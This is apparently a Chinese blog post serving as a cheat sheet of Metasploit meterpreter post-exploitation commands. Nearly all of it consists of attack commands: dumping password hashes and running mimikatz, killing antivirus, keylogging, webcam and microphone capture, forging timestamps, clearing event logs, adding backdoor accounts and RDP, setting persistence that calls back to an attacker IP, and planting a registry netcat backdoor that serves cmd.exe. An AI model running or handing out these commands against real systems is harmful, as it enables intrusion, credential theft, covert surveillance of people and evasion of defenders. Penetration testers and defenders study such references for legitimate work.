后渗透阶段-meterpreter使用

sessions  -l       查看我们获得的shell
session  -i  1     即可切换到id为1的shell
sysinfo   查看目标主机的信息
getwd   可以获取当前目标机器的工作目录,也可以获得当前系统的工作目录
route    可以查看路由
getproxy   #查看代理信息


autoroute添加路由
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由


使用模块
run post/windows/gather/checkvm 查看主机是否运行在虚拟机上
run post/windows/gather/smart_hashdump  获取目标主机上用户的hash值
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控
run  killav  关闭杀毒软件
run scraper  获取目标主机的详细信息
run post/windows/capture/keylog_recorder  键盘记录
run post/windows/manage/migrate

伪造时间戳
timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt


访问文件系统
cd:切换目标目录
cat:读取文件内容
rm:删除文件
edit:使用vim编辑文件   edit C:\\Windows\\System32\\drivers\\etc\\hosts  编辑hosts文件
ls:获取当前目录下的文件  
mkdir:新建目录
rmdir:删除目录

上传/下载文件
download  file 命令可以帮助我们从目标系统中下载文件
upload  file  命令则能够向目标系统上传文件
upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

权限提升
getpid  查看meterpreter注入到了什么进程中
getprivs  查看当前用户具有的权限
getuid  命令可以获取当前用户的信息
getsystem 命令提升为system权限

获取用户密码
run windows/gather/credentials/windows_autologin  抓取自动登录的用户名和密码
run hashdump  可以从SAM数据库中导出本地用户账号

mimikatz
execute  -i  -f  mimikatz.exe
wdigest  #获取Wdigest密码
mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
privilege::debug
sekurlsa::logonpasswords

load kiwi
creds_all //查看密码

运行程序
run post/windows/gather/enum_applications 先查看目标主机安装了哪些应用
execute  参数  -f 可执行文件  
execute -f cmd.exe -i -H  获得目标主机的shell,-i交互模式,-H隐藏
execute -H -m -d calc.exe -f wce32.exe -a "-o foo.txt"
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
 -t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

屏幕截图
screenshot  截图目标主机屏幕

创建新账号
run post/windows/gather/enum_logged_on_users  先查看目标主机有哪些用户
run getgui -u hack -p 123 创建新账号
run getgui -f 6661 –e   #3389端口转发到6661
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

启用远程桌面
run getgui -e
run post/windows/manage/enable_rdp
idletime 命令检查远程用户的空闲时长

键盘记录
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能

绑定进程
ps 命令查看目标设备中运行的进程
getpid  查看我们当前的进程id
migrate  命令来绑定目标进程id
kill  pid  命令关闭进程

禁止目标主机使用键盘鼠标
uictl  disable (enable) keyboard 禁止(允许)目标使用键盘
uictl  disable (enable) mouse 禁止(允许)目标使用鼠标

用目标主机摄像头拍照
获取目标系统的摄像头列表:webcam_list
从指定的摄像头,拍摄照片:webcam_snap
从指定的摄像头,开启视频:webcam_stream


生成持续性后门
启动项启动
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

服务启动
通过服务启动,我们可以运行命令
run persistence -X -i 5 -p 8888 -r 192.168.10.27  #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀

metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门


portfwd端口转发
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址

清除事件日志
clearev  命令来清除事件日志

升级Session
sessions -u  id


record_mic -d 10 -f /root/桌面/1.mp4  监听麦克风


enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接


sniffer抓包
use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

 

注册表操作
1.注册表基本命令
reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

2.注册表设置nc后门
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.159.144 443  #攻击者连接nc后门

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值